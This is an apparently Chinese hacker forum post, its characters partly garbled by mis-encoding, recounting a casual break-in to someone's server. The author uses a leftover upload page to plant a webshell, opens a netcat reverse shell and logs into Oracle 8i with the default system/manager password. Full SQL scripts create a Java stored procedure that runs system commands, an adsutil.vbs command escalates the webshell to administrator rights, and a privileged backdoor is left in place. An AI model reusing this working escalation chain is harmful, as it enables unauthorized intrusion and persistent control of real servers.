近日,偶到一主機(jī)上逛了一圈 主機(jī)的配置 還算是安全 偏偏一個(gè)比較隱藏的目錄下 殘留一upfile.asp,結(jié)果輕輕松松的得到一webshell接著在主機(jī)上逛了逛,拿出superscan從外面掃了下 只開(kāi)放了80端口 從user\程序目錄里 發(fā)現(xiàn)有一快捷方式firecontrol 好象是某款硬件防火墻的控制臺(tái)?EBSHELL下檢測(cè)了下 開(kāi)放的服務(wù) 發(fā)現(xiàn)一般的可提權(quán)的方法 都不可行 無(wú)SERV-U等等 主機(jī)的補(bǔ)丁也是打到了最新.
試了下,傳了個(gè)NC上去 反連接得到一SHELL 這下比在老兵的管理器里舒服多了在C盤(pán)下看到一目錄 oracle 看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件 確定了主機(jī)的服務(wù)名xxx 看了下版本 oracle 8i 用數(shù)據(jù)庫(kù)連接器 Provider=MSDAORA.1;Password=manager;User ID=system;Data Source=xxxx 試了下默認(rèn)的system帳戶 密碼manager結(jié)果真的就連接到了本地的oracle服務(wù)這下好了 oracle的system帳戶 就像是mssql下的sa 我們來(lái)通過(guò)他來(lái)提升權(quán)限
馬上編輯了幾個(gè)腳本
1.sql
create or replace and compile
java source named "Util"
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
---------------------------------------
2.sql
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer';
-------------------------------------
3.sql
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
---------------------------------
保存在c:\下
然后用反連接得到的shell運(yùn)行 sqlplus system/manager@xxx
然后在 再來(lái)執(zhí)行腳本
SQL>@C:\1.sql
SQL>@C:\2.sql
SQL>@C:\3.sql
看到JAVA 已創(chuàng)建 函數(shù)已創(chuàng)建 過(guò)程已創(chuàng)建
接著我們繼續(xù)
SQL> variable x number;
SQL> set serveroutput on
SQL> exec dbms_java.set_output(100000);
SQL>grant javasyspriv to system
看到授權(quán)成功
接著我們就可以來(lái)執(zhí)行系統(tǒng)命令了 我想 先把ASP.dll加入特權(quán)一組
SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');
看到過(guò)程已經(jīng)成功完成 這個(gè)時(shí)候我們重新登陸我們的webshell 他已經(jīng)具有admin權(quán)限了
接著 再用NC返回一個(gè)shell 已經(jīng)是管理權(quán)限的了 我們可以做我們想干的事了 因?yàn)檫@個(gè)主機(jī)有防火墻 過(guò)濾了除80以外的端口 所以不好做圖形的后門(mén) 只有留下一有權(quán)限的webshell到此 已經(jīng)提權(quán)成功咯.
上次看到一篇文章里說(shuō) 還有種 可以利用msvcrt.dll調(diào)用system()函數(shù)執(zhí)行系統(tǒng)命令 結(jié)果找了很多資料 都沒(méi)找到 如果哪位高手有這方面的資料 希望你可以 發(fā)布出來(lái) 共享一下